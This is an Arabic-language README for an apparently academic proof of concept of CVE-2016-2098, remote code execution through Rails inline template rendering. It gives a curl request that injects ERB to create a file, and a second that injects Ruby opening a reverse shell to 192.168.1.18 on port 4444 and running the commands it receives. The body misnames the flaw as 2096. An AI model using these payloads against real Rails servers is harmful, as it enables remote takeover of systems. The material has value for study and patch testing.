
إثبات المفهوم CVE-2016-2098
مشروع جامعي من إنشاء @alejandro-marting حيث يمكننا التحقق من الثغرة 2096
باستخدام:
##التنفيذ: في البداية نحتاج إلى تشغيل خادم rails باستخدام الأمر التالي:
$ rvmsudo rails server -b 0.0.0.0 -p 80
الآن يمكننا التسبب في تنفيذ التعليمات البرمجية عن بُعد باستخدام الأمر التالي:
$ curl 'localhost:3000/poc/render1?template\[inline\]=<%25%3DFileUtils.touch+"rooted"%25>'
(يجب أن يتم إنشاء ملف rooted)
إذا كنت ترغب في تجربة قشرة عكسية مع حقن كود ruby، يمكنك تشغيل الأمر التالي:
$ curl -H "Content-type: application/json" -X GET -d ' {"template" : {
"inline" : "<%= require \'socket\';exit if
fork;c=TCPSocket.new(\"192.168.1.18\",\"4444\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print
io.read}end %>"}}' http://localhost:3000/poc/render1
إذا كان لديك أي سؤال، يرجى التواصل معي!